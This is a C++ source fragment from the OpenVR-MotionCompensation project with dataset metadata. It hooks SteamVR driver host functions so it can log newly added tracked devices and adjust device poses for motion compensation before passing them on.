bool IVRServerDriverHost005Hooks::_trackedDeviceAdded(void* _this, const char* pchDeviceSerialNumber, vr::ETrackedDeviceClass eDeviceClass, void* pDriver)
{
LOG(TRACE) << "IVRServerDriverHost005Hooks::_trackedDeviceAdded(" << _this << ", " << pchDeviceSerialNumber << ", " << eDeviceClass << ", " << pDriver << ")";
serverDriver->hooksTrackedDeviceAdded(_this, 5, pchDeviceSerialNumber, eDeviceClass, pDriver);
auto retval = trackedDeviceAddedHook.origFunc(_this, pchDeviceSerialNumber, eDeviceClass, pDriver);
return retval;
}
void IVRServerDriverHost005Hooks::_trackedDevicePoseUpdated(void* _this, uint32_t unWhichDevice, const vr::DriverPose_t& newPose, uint32_t unPoseStructSize)
{
// Call rates:
//
// Vive HMD: 1120 calls/s
// Vive Controller: 369 calls/s each
//
// Time is key. If we assume 1 HMD and 13 controllers, we have a total of ~6000 calls/s. That's about 166 microseconds per call at 100% load.
auto poseCopy = newPose;
if (serverDriver->hooksTrackedDevicePoseUpdated(_this, 5, unWhichDevice, poseCopy, unPoseStructSize))
{
trackedDevicePoseUpdatedHook.origFunc(_this, unWhichDevice, poseCopy, unPoseStructSize);
}
}
}
}
| 2,683
|
C++
|
.cpp
| 58
| 42.534483
| 161
| 0.778673
|
openvrmc/OpenVR-MotionCompensation
| 36
| 16
| 4
|
GPL-3.0
|
9/20/2024, 10:43:45 PM (Europe/Amsterdam)
| false
| false
| false
| false
| false
| true
| false
| false
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.